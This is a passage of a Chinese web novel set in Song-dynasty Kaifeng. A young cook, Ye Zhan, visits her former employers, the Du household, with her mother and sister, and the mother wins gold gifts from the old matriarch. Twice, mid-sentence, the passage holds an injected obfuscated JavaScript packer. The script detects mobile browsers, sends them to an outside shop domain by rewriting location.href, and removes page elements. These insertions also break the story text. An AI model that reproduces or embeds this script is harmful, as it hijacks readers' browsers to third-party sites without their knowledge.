最后金哥选了又选,给叶盏挑了一件浅雪青的袄裙,搭配同色系褙子上面绣了淡雅的浅紫丁香,看着又素净又不失灵动。 又给她们看着挑首饰:“咱家没什么名贵首饰,玉姐儿索性就簪一样自己最贵重的首饰免得露了怯,再簪时令花卉就好。” 他给玉姐儿搭了一根镀金纯银的篦子,耳边挑了浅蓝的蓝雪花、绣球花,几种蓝色系的花朵深深浅浅簪上。 叫叶盏把她从杜家得来的赏赐首饰都带上:“这是为了叫杜家人看着高兴,知道你是知恩图报的,把她们的 赏赐放在心里。” “二妹妹既然首饰簪得多了,这花就不要多簪,免得累赘。”金哥儿只简简单单拿了紫薇花给她别在发间。 经他这么一装扮,叶盏看着沉稳端庄,眉宇间自有一股庄重之气,玉姐儿则活泼灵动,姐妹俩一淡蓝一浅紫,站在一起就如一对双生花。 玉姐儿啧啧称赞:“比平日里我们自己搭配好多了。” 宓凤娘也拍手笑:“金哥儿莫不是投错了男女,倒比你妹妹们更精通穿衣打扮。” 叶盏便赞:“这穿衣打扮原来有这么多学问。”大哥肚子里装了这么多知识,若是变现就好了。 想到这里她忽然灵机一动:“大哥有没有想过开一家美别样胭脂铺?” “那是什么店?”金哥儿还从未听过这样的名词。 叶盏努力描述着自己的构想:“就是这家店能帮女子变美,店里既卖胭脂铅华眉墨蔷薇水这样的女子妆面之物,也能搭配衣服首饰簪花,根据每位女子的不同需求搭配不一样的衣服饰品妆容,所谓千人千面。” 一家人先是一愣,仔细琢磨着这从未听过的“别样胭脂铺”,可是仔细想却很有道理。 宓凤娘先点头:“这街上有头面冠梳店、有银楼、有胭脂铺、布行绣坊,但却没有一处能将这些都买齐的。” “可是小娘子逛街,不就追求这一家家慢慢看的乐趣吗?”玉姐儿不解。 “但每家的不一定能搭配得齐,这家的首饰不一定配那家的衣服。”叶大富开口。 “只不过这样一来要求成本很高,每样都要在店里置办些,算下来摊子铺得大而乱,不好控制成本,不专精一行也不好。”金哥儿想得很周全。 “要是陪着买衣服买首饰,倒是有的梳头娘子也做这一行。” “我们不买货。”叶盏语出惊人,“我们代理。叫各家店把货物都送过来寄卖,到时候哥哥现场搭配卖出去,等卖出去按照清单结账,我们抽取佣金。” “初期人家肯定不信任我们,我们可以先付钱买下来,熟悉了付押金,卖不出去把衣裳首饰还给人家,等做大后就可以连押金都不付了。”叶盏说出自己的构思。 宓凤娘听着这法子不错:“这是市面上头一份,肯定会赚钱。” 大儿 子虽然现在看着风光,天天跟纨绔子弟们往来,光鲜亮丽出入也都是高档场合,但那繁华到底跟他没关系。 等年纪大了,更年轻更会跑腿的闲汉必然会取代他的位置,到时候他做什么? 还是得趁着年轻有一番自己的事业才好,这样慢慢积累,以后日子才会逐渐走上正轨。 “只不过这往来的都是女子……你哥哥到底是个男人……”叶大富开口。 “那娘可以帮忙,再说裁缝、布店掌柜不都是男子嘛,也没有人说过什么。”叶盏一一指出。 一句连着一句,让家里人应接不暇。 最后还是金哥儿拍板:“妹妹讲得有道理,我回头再琢磨琢磨,看看要不要做这件事。” 叶盏点点头,骤然变化人生赛道对每个人都很难,大哥是需要好好思索下这件事。 搭配好了第二天的衣服,她进灶房去做几道小菜带过去。 先做了卤肉,上回送去给杜家反馈不错,将肥厚的猪蹄膀、鸡胗、豆干、鸭翅膀、鸭架、百叶结、鸡翅等物放入卤水中加热。 再做一道肉鲊,这也是大宋人民习惯吃的一道美食。 叶盏做了两种,一种羊腿精肉送给杜家主家,一道猪肉的做给杜家的丫鬟们。 肉片煮熟后晾干水分,加入大量醋、一点花椒油、磨碎的草果砂仁料,再腌制过夜。 如今大宋百姓喜欢吃肉鲊,因此她特意多做了些。 做好了肉菜又做甜食。 叶盏知道杜家三娘子平日里喜欢吃甜点,便决定做一道多层可丽饼。 可丽饼是法式点心,在平底锅上不断摊加了糖的面糊,定型变好。 随后便开始铺设,一层可丽饼,一层糖渍水果酱,按照顺序一层层铺上去。 叶盏知道杜三娘爱吃各种水果,便一层鹅梨酱一层沙果酱一层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201766|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜李酱,一层层堆积起来,再从最上面浇上一层厚厚的蜂蜜。 玉姐儿在旁边看得都快要馋死了:“好香!好看!怎么有这么好看的点心啊,吃起来肯定更香。” 叶盏笑:“以后还有更好看的点心。”她以后还有大量中西式糕点呢。 看姐姐在旁边馋得直流口水,便刮了刮盆底剩下的面糊,给她摊了半片可丽饼,裹上鹅梨酱:“尝尝。 ” 玉姐儿眼前一亮! 软软的可丽饼立刻还带着鸡蛋的香气鹅梨酱酸甜开胃搭配上正好 玉姐儿感慨:“吃完这个可丽饼我能保证一天都好脾气。”有这么好吃的甜点谁会生气啊? 将这些东西收拾停当后放进精致的食盒外面包上干净的包袱皮便提着送到了杜家。 提前几天早跟杜家三娘子递了名笺约好了能来探望因此门房早就知道没有拦着他们:“原来是叶盏回来了。” 叶盏笑着跟他们介绍自己娘和姐姐因为要去内宅只带了宓凤娘和玉姐儿两个。 两方打过招呼宓凤娘便从荷包里掏出早就备好的一包包炒瓜子递过去:“区区见面礼不成敬意。” 外面炒货铺子里一包炒瓜子不过一文钱宓凤娘为了节约成本是自己买的瓜子炒了又自己分装的成本分摊下来甚至比一文钱更低。 可是那些门房还是收得很高兴一来他们打眼就瞧出了宓凤娘一行人不过是街巷百姓没什么钱这炒瓜子已经算是意外之喜。二来叶盏是从府里出去的丫鬟大家都听说了那个离奇故事由衷为这家人骨肉团圆高兴因此都笑着收过炒瓜子。 吃起来却发现不同:里头各色滋味更香浓这是因为叶盏在宓凤娘炒制之前先用卤水泡过小小的瓜子吃起来带着砂仁豆蔻等多种香料的滋味活像在吃肉浓浓的五香味当然与外面简单的炒制不同。 门房们又讨了几包宓凤娘大方分赠:“人人都有!”不过一会功夫就跟门房们混了脸熟:“下回我来府上诸位可不能给我闭门羹啊。” 又殷勤推广自己的生意:“我说媒是一把好手诸位要成婚的、亲戚有适龄儿女的都可以来寻我谢媒钱给大家便宜。” 好家伙一会功夫就联络了好几个门房说定了过几天细细帮他们找。 好容易才过了门房叶盏才进了内院。 只不过三娘子忙着便由她们在外面先等着由小丫鬟将带来的礼物先送去给三娘子。 于是那碟子可丽饼就被送到了杜三娘案头。 她正跟隔房姐妹们闲聊便随手拿起了可丽饼尝尝:“这个看着倒稀罕。” 蛋饼是嫩嫩的米黄色一层微黄的鹅梨色殷红的沙果甜李酱粉红。 这可丽饼现场切了一个小角立刻能看到内里一层层各色色彩的分层水果酱馅料 最上面一层厚厚的蜂蜜从边缘一滴滴流下来。 吃起来可丽饼本身松松软软还带有微微甜味叶盏特意熬出来的鹅梨酱这些果酱并不太甜反而最大限度保留了水果的风味。 微酸的果酱配上甜蜜蜜的蜂蜜正好滋味适中酸酸甜甜。 杜三娘吃完一片后赞了一句:“厨房的陈三嫂子怎得忽然开窍了?” 作者有话要说 加更送上晚上九点见 第 45 章 瓜果如意金手串 “娘子仔细瞧瞧这哪里是厨房做的。不是我说,陈嫂子那手调酱可以,做点心却不成。”旁边石榴捂嘴笑。 她刚来没多久,个性活泼,三娘子就爱她这说说笑笑的性子,因此对她很宽容:“好个促狭鬼,到底说说是什么。” “是外面送来的,说是娘子从前的旧奴婢登门送上来的谢礼。”石榴说话脆生生,“三娘子好狠的心,将人家晾在外面这么久。” 三娘子这才猛然想起:“啊呀,我是记得叶盏要来登门,却忘了时辰。” 这时莲花才款款道:“她们今儿来又递过消息,想来是太忙乱传消息的丫头忘了。” 说罢不动声色看了香荔一眼。 石榴也跟着看了香荔一眼,得意洋洋:叫你存心瞒报,这回可是纸里兜不住火喽。 “今儿个哪个丫头传的话?”三娘子扫视了丫鬟们一眼。 倒是隔房姐妹用扇子遮面,佯装对桌上摆着的琴谱很感兴趣,恨不得钻进里面去看。 三娘子房里丫鬟显然做事松懈,这件事可大可小。 往小里说,是丫鬟们做事粗心,往大了说,是御下不严才让下面小丫鬟乱了套 十二娘想起三娘子平日里好面子,便赶紧挪开了目光,只恨自己今日运气不好赶上了。她寄人篱下,最好是装没看见。 香荔掩饰笑笑:“瞧我这记性,该打。” 看她吃瘪,石榴偷笑, 这香荔存心瞒报,赌得就是莲花不敢上报:现在三娘子正跟十二娘谈事,若莲花贸然上前为了一个过去的奴婢打断两人对话,十二娘子是个识趣的人,肯定一听就会走。 到时候三娘子要生气:这不是明摆着赶客吗?谁知道有个昔日小丫鬟来访是真是假?万一被十二娘误解为丫鬟编出来赶客的理由,那不是待客不周吗? 三娘子是个周到人,平日里就对十二娘多加照顾,哪里会忍心让这种小事惹亲戚猜疑伤心? 因此莲花上前去通禀,这一顿责骂是免不了。 要是莲花不通禀,就只能眼睁睁看着叶盏在外面巴巴儿等着了。 谁能想到莲花机智,趁着端茶点的功夫先把叶盏做的点心端上去,惹得姑娘主动发问。要不然还揪不出她呢。 谁知香荔脸上并没有半点 难堪的神情,自然而然,仿佛自己是真做错了事,还嬉皮赖脸笑:“回头三娘子赏我一包核桃罢,听说那个补脑子。说着又黏在三娘子身边,做出可怜巴巴的样儿。 三娘子捂嘴笑:“给她包一包。香荔嘴甜会讨巧,也很得她喜欢。 香荔笑着讨赏,石榴愤愤不平。 要说三娘子房里四个大丫鬟,其余三个各有手艺,行为处事能让下面人服气,独这个香荔,绣花不成、大字不识、偷奸耍滑、克扣下面小丫鬟,却因为嘴甜会说,讨得了娘子欢心。 明明是香荔嫉妒叶盏,生怕三娘子想起旧日丫鬟,加上叶盏没给她塞银钱,所以才不咸不淡把这件事压了下去,害得叶盏吃闭门羹。 她忍不住又看了一眼莲花,却见莲花正安然在桌角擦拭棋子,置若罔闻。 石榴便在心里感慨,果然还是莲花姐姐性子平和。 隔房姐妹十二娘听说有客就要道别,却被三娘子留下:“是从前伺候我的丫鬟,你也见过,叫叶盏,没想到她身世离奇,被拐子拐到我家,居然又被亲父母寻了去。 十二娘一听来的是旧日丫鬟,便坐下:“还有这等造化。果然是大千世界,无奇不有。闺中寂寥,这样趣事当然不容错过。 叶盏一行人暂时被安排到了内院的一处走廊下等待。 玉姐儿四下打量,好奇看着从未见过的富贵气象。 杜家满门富贵,光是宅院中门处的单卷棚式垂花门就极其讲究,上面的前檐柱都雕刻着精巧的神兽造型,更别提往来行走的丫鬟,各个都穿着华贵,发髻间耳间的首饰都看着非金即银。 被晾在这里,宓凤娘也不急不躁,反而跟路过一个扫地婆子搭上了话,从她嘴里套出许多有用的信息:什么家里有几口人、老太太最疼三房、如今管事的是大房夫人和大少奶奶。 还知道了如今府里上下最关心的大事是大房五娘子的婚事,据说她许给了一位宗亲。 这位宗亲可不是白吃闲饭的,自己也有官职,叫诸卫大将军,一年可得六十贯的俸禄,又有“请给①,有米有钱还有屋舍,家底很是殷实。 府里也很看重这场婚事,这些天他们这些下人天天学规矩,就是预备着下定时叫宗亲家里看看杜家也是有规矩有传承的人家。 正聊着,就听有人喊叶盏:“叶盏,快来。 叶盏抬头一看,看见是石榴。 当初莲花手下有两个服侍的小丫鬟,就是她与石榴。石榴有什么事情都写在脸上,也与叶盏交好。当初叶盏离开,石榴跟着哭了一场。 因此叶盏也赶紧与她招手:“你怎么来了? 石榴笑嘻嘻跑过来攥住她手:“我来迎迎咱们的大掌柜。又跟叶盏家人打过招呼。 “走,现在带你们去见三娘子。石榴兴高采烈。 她是个藏不住话的直肠子,两句就把香荔的事倒给了叶盏:“她还想让你白跑一趟呢,真是一肚子坏水!还当自己能霸着姑娘一辈子呢。 叶盏也不意外,院里大家唯一讨厌的便是那个香荔,叶盏从前只闷头跟着莲花办事,拒绝了香荔挖走她的邀约,从此就被香荔恨上了。 倒是宓凤娘和玉姐儿两个讶然,她们只以为是三娘子真的有事在忙,却没想过是大宅院里丫鬟勾心斗角的结果。 玉姐儿喃喃自语:“我妹妹已经不在院子里,又碍不着她的前程,又是为什么给她使绊子? “当然是心坏,这样能让她心里痛快罢。石榴对香荔嗤之以鼻。 三娘子住在杜家西侧的一进小院里,比起别房的姑娘她足够幸运,能够自己独自拥有一个小院,院里正房是她招待客人的地方,正房侧间一个小隔间是她的闺房,东侧是她书房。 院里疏落有致种着四季花卉,海棠树下大柳缸养着几尾金鱼,廊下挂着几只绿鹦哥,帘子用的是湘妃竹串的竹节门帘。 宓凤娘原本自己要伸手掀竹帘子,一边还笑着招呼石榴:“石榴姑娘先请进。 谁知她指尖刚碰到竹帘子,那帘子就被小丫鬟掀起了。 原来小丫鬟见她们过来,在外面通禀一声:“回娘子,外头叶盏回来了。随后帮她们掀起了竹帘子。 “乖乖隆地咚,怎么这富贵人家还有专门打门帘的丫鬟啊?宓凤娘眼睛瞪得圆溜溜,连土话都说出来了。 屋里丫鬟们都认识叶盏,也都盼着她进来,听了这句话纷纷捂嘴笑。 宓凤娘还脸红着,就见正堂与侧屋之间还有一道帘子。 这道帘子却是用水晶石穿成,各个选 用的是精致浑圆的水晶珠,光线下晶莹剔透,折射出各种光线。 宓凤娘咋舌,眼睛都不够用了,谁能想到杜家的水晶帘这么奢华。 她上次见长公主是在寺庙里给香客暂时歇脚的别院,虽然奢华,但毕竟行程仓促,许多家居豪奢的摆件来不及摆出来。 她原先去陶家小住就已经觉得很富贵了,谁知道放在杜家简直就连杜家仆人都不如。 怪不得人说要做官呢,这陶家历代经商听上去是个富家翁,可哪里比得上杜家世代做官积累得多。 叶家人正等着,就听内屋一声柔和悦耳的声音:“你们几个快别笑了,还不快把客人迎进来。” 随后又有个小丫鬟掀开水晶帘,招呼她们:“客人请进。” 宓凤娘又看待了,一个打帘丫鬟已经够让她开眼界的,没想到人家还有两个! 这什么都不干就掀门帘,这富贵人家进进出出都不用自己伸胳膊打帘子,我的个亲娘啊,那得多会享受才会连这种细枝末节都留意到? 过了这道帘子才算进了内室门,内室里站着几个丫鬟,靠窗正中的椅子上坐着两个姑娘。 叶盏赶紧上前见礼:“见过三娘子。” 她如今是良民身份,行礼也只用普通的百姓见礼方式即可。 三娘子也起身笑着与她们打过招呼,又请宓凤娘几个上座。 三娘子先谢过叶盏送来的土产“吃起来很是爽口清淡,比大厨房里每日送来的新鲜不少。” 又笑问叶盏:“你做得那糕点好吃,难为有巧思。” 叶盏便道:“回头我将方子抄给厨房,娘子想吃了叫他们做便是。” “你居然会抄写了?”三娘子奇道。 “从前在府里我就跟莲花姐姐看着学了几个字,后来回家后每日跟着我大哥学几个字,日子久了也会能写了。”叶盏老老实实回答,这样含糊解释正好把她会写字的事情瞒过去。 宓凤娘和三娘子果然都觉得是对方的原因,一个说“还要谢府上教导盏儿。”一个说“你家果然是耕读传家。” 说也奇怪,宓凤娘在外面时村话都蹦出来了,可在三娘子跟前却变得端庄有礼,说话也极有章法。 两人一个是待字闺中的小娘子,一个是市井村妇,居然 也说得来,宓凤娘先是讲家里以前做什么营生,又是讲自己这么多年如何寻找叶盏。 这些故事三娘子先前也听过,可那是听父母亲那边转述说是外头官差说的,哪里像现在这般当事人讲述来得更加翔实? 别说三娘子了,就是跟前的十二娘也陪着红了眼眶。两个小娘子再怎么比同龄人成熟也是个小姑娘,听着这样坎坷故事怎么能不动容? 三娘子是听着叶盏有父母兄弟想到自己父母,若是自己丢了被人拐卖,父母会散尽家产寻找吗?钱财对杜家倒是小事,可是声誉名望呢? 一般这种官宦人家容不得这种丑闻,会对外宣称女儿死亡,以免受辱。虽然本朝有给女儿丰厚嫁妆的习俗,但给钱是一回事,带累了家族声望是另外一回事。 杜家父母的确会给她丰厚的嫁妆,叫她在婆家腰背挺直,可是他们会找她吗? 三娘子不敢深想。 十二娘则是想到自己父母,她寄人篱下是因为父亲不争气娘早逝,若是自己如今父母双全,一家人和和美美该有多好? 一件事触到了两个人的心肠,一时叫她们心潮澎湃,泪花闪闪。 叶盏忙起身告罪:“我来看望姑娘,反而惹得姑娘落泪,反教我心里不宁。” 莲花给三娘子送上巾帕和茶水,笑道:“你如今是客,哪里用得着请罪?” 三娘子擦了擦眼眶,也跟着笑道:“莲花这丫头,怎得胳膊肘往外拐。” 香荔见缝插针:“谁不知道莲花姐姐最是护短,当然是更向着自己徒弟。” 话里话外挤给莲花上眼药。 宓凤娘在外面听石榴一番话,知道这香荔是害自己在外面干等着的罪魁祸首,因此眼珠子一转:“三娘子房里这个丫头倒伶俐。” 叶盏也跟着笑道:“许久不见香荔姐姐,这张嘴啊,还是半点都不饶人,叫人又爱又恨。” 屋内刀光剑影过招,玉姐儿吃了一口待客的西川乳糖狮子,茫然抬起头:怎么感觉屋内气氛不对呢? 不确定啊?她想了想,又低头专心吃起了糕。 莲花便笑道:“娘子也知道我与我徒弟师徒一场,不如娘子割爱,容我从您这里把人请走叙一叙肝肠才好。” “知道你们师徒情深。”三娘子笑道,“ 先请叶盏下去,我给你出银子,容你做东从厨房叫几道好菜,好好宴请下徒弟,再叫些昔日你们姐妹团聚一番。 又招呼宓凤娘:“眼看到饭点,若是不嫌弃,在我家待客的地方用饭可好? 宓凤娘当然愿意,起身带着女儿们告退:“多谢娘子款待。 莲花也起身倒了声谢,拉住叶盏出去。 叶盏跟娘姐姐分开,跟着莲花、石榴两个出了屋门,到了她们小丫鬟住的地方。 这里屋舍要浅窄些,不过盆架、妆台、围子榻还是一应俱全,叶盏回来,有了杜三娘发话,一些交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201767|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的小丫鬟也跟着过来围着叶盏说话。 叶盏拿出给她们带的礼物: 先是给每人分赠点心“这是我做的一些卤货和肉鲊,都是亲手做的,算是一点心意。 又拿出外面一些磨合乐、领抹、幞头之类:“不算精巧,也不贵重,但是就图外面的模样新鲜,大家莫要嫌弃。 最后又掏出各色丝绦,面上不好意思:“诸位姐妹也知道我手艺不好,原想着给大家缝些荷包,绣个手帕什么,可是我试着绣了个总归是拿不出手,索性就只能给姐妹们买了些丝线手帕,还请大家千万不要嫌弃。 大家欢心一笑,都知道叶盏女红略等于无。 “嫌弃什么? 厨房的瓜菜、果蔬等物也送了上来,大家索性亲亲热热坐在一起,聊了各自的经历。 听闻叶盏在外面赁了个摊子卖菜为生,莲花便赞叹:“从这富贵场出去还能弯下腰叫卖,可见你是个能屈能伸的。 “哪里能屈能伸,不过是过日子罢了。叶盏自谦。 “别谦虚了,你如今可是大掌柜的,不,是大老板。石榴心直口快笑道,“如今见了娘子都能平起平坐了。 丫鬟们纷纷点头。原先叶盏见了娘子当然要恭恭敬敬行礼,可如今她跟娘子行礼是平级的见礼,三娘子还要给她回礼呢,这可是她们这些丫鬟想都不敢想的好事。 “哼,有什么了不起?不就是抛头露面在粗鄙市井中叫卖吗?香荔也不知道从哪里冒出来,鄙夷道,“哪里有府里舒服? 她这么一说,倒有几个丫鬟面露赞同: 毕竟她们是发自内心认可高门的日子,即使做奴仆也比在外面做庶民好。 叶盏一家人头上穿的戴的虽然看着也算体面了,但比不上府里根底深厚的丫鬟们,更别提地位更高掌权的丫鬟婆子们了。 人活着不就穿衣打扮嘛,叶盏出去的确是降了好几等。 “话不是这么说,固然不及做丫鬟时富贵,可能与家人生活我已经足够感恩。叶盏一点也没恼火,更无半点生气,反而心平气和,似乎并不把香荔的挑衅当回事。 这比挑衅更让香荔恼火。她正要发作,却被莲花沉声压制住:“我今日待客,若是不欢迎的客人还请自己出去。 莲花一向是个好性的人,面对香荔挑衅三番五次不动容,这回还是她第一次发火,香荔想了想,咬咬唇,一掀门帘子出去了。 几人便又坐在一起聊天,知道叶家人待叶盏真心实意,没有利用她或是逼她要钱的行为,都倍感欣慰。 姐妹们又约好以后请门房的小厮帮忙传递东西,叶盏以后做了好吃的也能给她们分赠。 吃完饭,三娘子又派人来传唤:“老夫人饭后不午睡,要找人陪着说话消除困意,要不你们随我去见老夫人? 宓凤娘立刻大喜:“多谢三娘子抬举。杜家老夫人是有诰命的,能见一回老夫人回去跟街坊们吹牛不是又有新素材了? 三娘子捂嘴笑,带她们一家人去见老夫人。 老夫人住在府里最大最尊贵的院子里,宓凤娘从进了老夫人院子就没阖上过嘴巴。 旁的不说,老夫人院里居然还养着孔雀! “乖乖隆地咚,这玩意儿我就在三月三金明池开时,托官家的福才能见上一眼皇家御苑里养着的孔雀,谁知老夫人这里就养着两只? 又看那尾羽大惊小怪:“这尾羽好看,寻常人家有一根都是传家宝,怎得府里就任由孔雀拖着到处走,难不成晚上还要找人看管,否则被偷了如何是好? 等进了正房,宓凤娘眼睛都不够用了,这回倒对打帘子的小婢女习以为常,可是对墙上的挂画惊讶不已:“谁家裱画居然拿缎子裱? 一边看着那缎子惊叹:“我们这人家,若是有这么一段缎子肯定要珍而重之收起来,府里居然满不在乎给字画做配,这字画该有多名贵 ?” 见到老夫人门里挂着的红石榴帘子忍不住摸了一把:“娘啊这随便一颗放在穷苦人家就能当传家宝怎得在这里就挂在门上?” 惹得丫鬟们连连发笑。 叶盏也奇怪:娘不是不知分寸的人刚才在杜三娘那里虽然偶有惊讶但还算应对得体怎得到老夫人这里便惊叹连连倒像是在耍宝? 等进了两道门。 宓凤娘抬头看:“也不知道哪位是老夫人?” 这间房里坐着站着几个人各个打扮华贵形容雍容。 满屋的人一下就笑了最中间的夫人惦记着体面只死死咬住唇角旁边的拿手帕掩嘴最侧面那个年轻的笑得捂着肚子弯腰。 下面的小丫鬟们就不顾体面了各个笑得前仰后合还有个小的一屁股蹲在地上“哎呀哎呀”个不停惹得又是一阵笑声。 “好一堆猴儿不许戏弄客人。”还有一道碧纱橱内里传来一把带着笑意的声音。 从碧纱橱进去才看到杜家老夫人。 杜家老夫人头发半白 宓凤娘却不见礼纳闷问旁边人:“你们这回可不能戏弄我赶紧带我去见老夫人。” 旁边的丫鬟面露急切:“这可是我们老夫人。” “我不信。”宓凤娘不紧不慢“哪里有这么年轻的老夫人莫不是老夫人的媳妇在这里戏弄我们市井人家没见识呢。” 一句话惹得屋里又是大笑。 老夫人也跟着笑了起来显然极为受用这等话。 等再三确认了这就是老夫人宓凤娘“啊呀”一声就上前:“您可得给我讲讲保养的方子。” 老夫人笑得皱纹都少了几根脱下手腕间带着的瓜果如意金手串又摘下一枚纯金缠丝钗就给了叶盏和玉姐儿两个:“算是我给两个孩子的见面礼。” 叶盏一瞬间就懂了宓凤娘刚才那般夸张是为了什么。 叶盏:…… 娘奥斯卡欠您一个小金人。 作者有话要说 请给①:补贴出自《宋代皇亲与政治》 来啦!明晚九点见! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第 46 章 橘香红烧青鱼 第46章橘香红烧青鱼 金银,在宋代很珍贵。 一来抵御外敌要花费银钱买马屯田,二来邻国热衷于使用大宋银两导致银子大量出国。 像叶盏他们市井用的就多是铜币结算。 黄金更是贵中之贵,一两金折合十两银子①。 所以老夫人送她们的礼物极为珍贵, 这瓜果如意金手串是将黄金铸成甜瓜、寿桃等各种果子的样子,再用一根五彩丝绦系起来,大约能有半两。 纯金缠丝钗虽然是一根只在钗头细金丝缠丝的素钗,但重量也不轻。 叶盏接在手里大约估量了一番。宋朝一斤官秤大约是现代的650克,这样估摸两个金饰品折合现代就能有70克,按照500元的金价计算,总共是三万五千元。要按照宋朝的金银稀缺性,应该价值还要更高。 这算是宓凤娘的……演出费? 这么贵重的礼物叶盏不敢收,她赶紧推辞:“来拜见老夫人本来是给您请安,怎么能收这么贵重的东西?” 玉姐儿也跟着推辞不受。 老夫人板起脸:“莫非是嫌我老婆子?” 她旁边的孙媳妇笑着把叶盏摊开的手阖上,开玩笑道:“收下吧,别等我家老太君反悔了,又收回去。” “收回去也值当。”宓凤娘凑趣,“沾了老夫人的福气和长寿,就算收回去也让这两个小的受用不尽呢。” 惹得老夫人又笑:“你不怪府上买了你女儿做奴仆就好。” “得谢谢府上调教得她好呢,如今进退自如,满街坊谁不羡慕我有这么个好女儿?还不是沾了府上的光?” 再说起从前家里也是殷实地主,大儿子和二儿子也跟着读书,识得几个字。 杜老夫人和夫人听到这里倒收敛了些笑意,多了些敬重:“原来府上是清白耕读传家。” 农户在古代自然算是清白人家,乡下地主供子孙读书,若是考中便可鲤鱼跃龙门,自唐以来高门陨落寒门崛起,官场上有不少官员都是这么起的家,就连杜家也是如此,如今还在乡下各处有田庄呢。 大夫人把先前那些轻慢收起来,叫丫鬟再看茶。 再听宓凤娘讲这些年如何寻女 、经历的各种人情冷暖、世态炎凉一时叫杜家上下都听入了神。 老太太、大夫人她们自然是有阅历能体味到其中苦涩。 年纪小的少夫人、小娘子们则是闺中寂寞未曾听过跌宕起伏的人生经历把这个当话本子听个稀罕。 旁边服侍着的丫鬟婆子们则是感怀身世她们有被家人卖掉的也有被拐走的一时都被这家父母感动又怀恋自己父母。 宓凤娘又有个好口才活灵活现说到难过处满屋子的太太娘子跟着掉眼泪说到搞笑处全屋跟着笑活像汴京最大游乐场所象棚的女说书。 “孩子到我们府上也是造化。没想到兜兜转转修成正果可见积德行善必有菩萨保佑。”杜老太太听了一番故事双手合十先谢过诸天神佛。 宓凤娘试探着跟了两句:“是呢也有街坊说是要拜谢神灵呢。” “不错心诚则灵。”老夫人频频点头。 得知老夫人笃信佛教宓凤娘立刻满口称赞汴京城里几处著名的寺庙灵验:“我前几天刚去几处庙宇拜过各个都是好地方说也奇怪我原本心神不宁睡也睡不好吃也不吃好谁知进去拜了一趟之后便觉心里的不痛快都散去了回来倒睡了个好觉。” 进寺烧香要爬山涉水还要攀登各种山门台阶回家后累得倒头就睡当然没心思再烦闷了。 “哦?”老夫人果然来了兴致“你居然这么虔诚惭愧惭愧老身也就寻常在家供奉不如你这般上心。” “有人太功利什么教都信我倒是觉得不如只信一样所谓心诚则灵。”宓凤娘说得头头是道。 叶盏和玉姐儿对视一眼:…… 如果没记错的话宓凤娘明明把汴京城里道教、佛教、摩尼教、拜火教都拜了一遍不拘哪个宗教样样不落…… 那边厢老夫人和宓凤娘越说越投机两人便交流起汴京周围那些有名的佛寺:铁佛寺、大相国寺、景德寺。 宓凤娘明明也就去了几次却如数家珍:"大相国寺寺庙肃穆铁佛寺有好吃的素斋分发景德寺里一株银杏据说好几百年了。" 还满口称赞叶盏:“我家盏儿还在大相国寺做了一场斋饭 “哦?” 杜家老夫人惊讶“大相国寺的素斋不错若得他那里师傅们称赞 “那是当然。”宓凤娘一脸自豪“还有信众当场请我家盏儿去做饭。陶编修家老夫人寿宴便是我家盏儿掌勺。” “那一桌素宴让所有人惊叹不已事后又有好几位食素的夫人请我家盏儿去掌勺她们都说我家二姐儿一手手艺能让素食都比肉食滋味更浓厚如今那个吃斋的圈子都以寿宴是我家二姐掌勺为荣呢。”宓凤娘吹得眉飞色舞。 明明只是去做菜在她渲染后听起来倒像是那些人求着叶盏做菜一样。 说来说去老夫人也来了兴致:“不知是何等手艺……” “祖母今日午膳还吃了别人送来的点心怎得又不认了?”杜三娘子顺势撒娇。 “说的是那道点心?倒是不错。”老夫人仰起头想了想“香软的夹了各色果馅夹心的?” “正是。”杜三娘笑道“叶盏将方子给了我回头我叫厨房做出来后给祖母送过去。” 孙女孝顺老太太笑得更加舒心:“既是点心做得好下月家里昙花开时要请些亲眷过来还要劳烦你家做几道点心我好送人。” “这值当什么您发话了我家自然是赶紧备齐。”宓凤娘胸膛拍得震天响“您放心吧这些肯定布置妥当。” 比起叶盏杜家老太太倒更喜欢玉姐儿。 这却是连宓凤娘都没想到的。明明盏姐儿更加成熟稳重进退有据。 叶盏想想恐怕是玉姐儿单纯澄澈满心满意盯着待客的点心吃更像是孩子。老夫人一辈子见惯了淑女和功利之人如今老了返璞归真自然就更欣赏天真之人。 上行下效怪不得三娘子院里最受抬举的是天真活泼的石榴。 老夫人将玉姐儿带到身旁问她爱吃什么、家常都做什么笑道:“你家这个女儿瞧着倒不错。” “是不错。”宓凤娘说起女儿自然自豪“我家三个女儿各有各的好。” 不过她转念叹口气。 “怎得叹气?”老夫人果然问。 宓凤娘便赔笑:“我家几个女儿也是个能干的只不过只一桩我到底是庄户人家家里只会教导她们粗浅识得几个字要再吟诗作对就不能了。今 天来到府上看着老夫人跟前孙女们都是难得一见神妃仙子一般的女娥想必是随了您。我看了这些女儿家也生了熊心豹子胆想要教导自家女儿也学个贵府女儿家一两成气派但总归请不起女先生不知府里教导小娘子们可有什么法子?” 脸上羡慕的神色一览无余。 这话是搔到了痒痒处既恭维了老夫人基因好又赞美了杜家教育好杜夫人平日里最自豪教导女儿教导得好当即笑道:“这有什么难的便是看书做诗自己看书也使得。” 当即吩咐几个女儿:“你们当日诗词开蒙的书本怕是用不到了白放着倒让虫蛀了不如翻出来送给这位宓婶子。” 宓凤娘忙起身感谢:“我今日可真是来打秋风了。” 